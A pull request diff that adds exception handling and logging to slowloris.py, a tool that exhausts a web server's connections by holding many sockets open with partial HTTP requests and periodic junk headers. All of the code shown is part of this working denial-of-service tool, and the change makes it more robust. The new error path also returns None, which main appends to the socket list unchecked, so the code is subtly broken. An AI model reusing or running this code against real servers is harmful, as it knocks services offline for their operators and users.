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Adding some exception handling and logging for failures #103

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49 changes: 41 additions & 8 deletions slowloris.py
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Original file line number Diff line number Diff line change
Expand Up @@ -157,10 +157,39 @@ def init_socket(ip: str):
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=args.host)

s.connect((ip, args.port))

s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

try:
s.connect((ip, args.port))
except socket.error as e:
logging.info("Socket error: %s", e)
logging.info("Failed to connect to %s:%s", ip, args.port)
return None
except ssl.SSLError as e:
logging.info("SSL error: %s", e)
logging.info("Failed to connect to %s:%s", ip, args.port)
return None
except Exception as e:
logging.info("General error: %s", e)
logging.info("Failed to connect to %s:%s", ip, args.port)
return None

try:
s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")
except socket.error as e:
logging.info("Socket error: %s", e)
logging.info("Failed to send GET request to %s:%s", ip, args.port)
return None
except ssl.SSLError as e:
logging.info("SSL error: %s", e)
logging.info("Failed to send GET request to %s:%s", ip, args.port)
return None
except Exception as e:
logging.info("General error: %s", e)
logging.info("Failed to send GET request to %s:%s", ip, args.port)
return None


logging.debug("socket call: %s", s.getsockname())
logging.debug("Connected to %s:%s", ip, args.port)
ua = user_agents[0]
if args.randuseragent:
ua = random.choice(user_agents)
Expand All @@ -178,7 +207,11 @@ def slowloris_iteration():
for s in list(list_of_sockets):
try:
s.send_header("X-a", random.randint(1, 5000))
except socket.error:

logging.debug("socket call: %s", s.getsockname())
logging.debug("Connected to :%s", args.port)
except socket.error as e:
logging.info("Socket error, removing socket... %s. Error: %s", s.getsockname(), e)
list_of_sockets.remove(s)

# Some of the sockets may have been closed due to errors or timeouts.
Expand All @@ -196,7 +229,7 @@ def slowloris_iteration():
continue
list_of_sockets.append(s)
except socket.error as e:
logging.debug("Failed to create new socket: %s", e)
logging.info("Failed to create new socket: %s", e)
break


Expand All @@ -211,7 +244,7 @@ def main():
logging.debug("Creating socket nr %s", _)
s = init_socket(ip)
except socket.error as e:
logging.debug(e)
logging.info(e)
break
list_of_sockets.append(s)

Expand All @@ -222,7 +255,7 @@ def main():
logging.info("Stopping Slowloris")
break
except Exception as e:
logging.debug("Error in Slowloris iteration: %s", e)
logging.info("Error in Slowloris iteration: %s", e)
logging.debug("Sleeping for %d seconds", args.sleeptime)
time.sleep(args.sleeptime)

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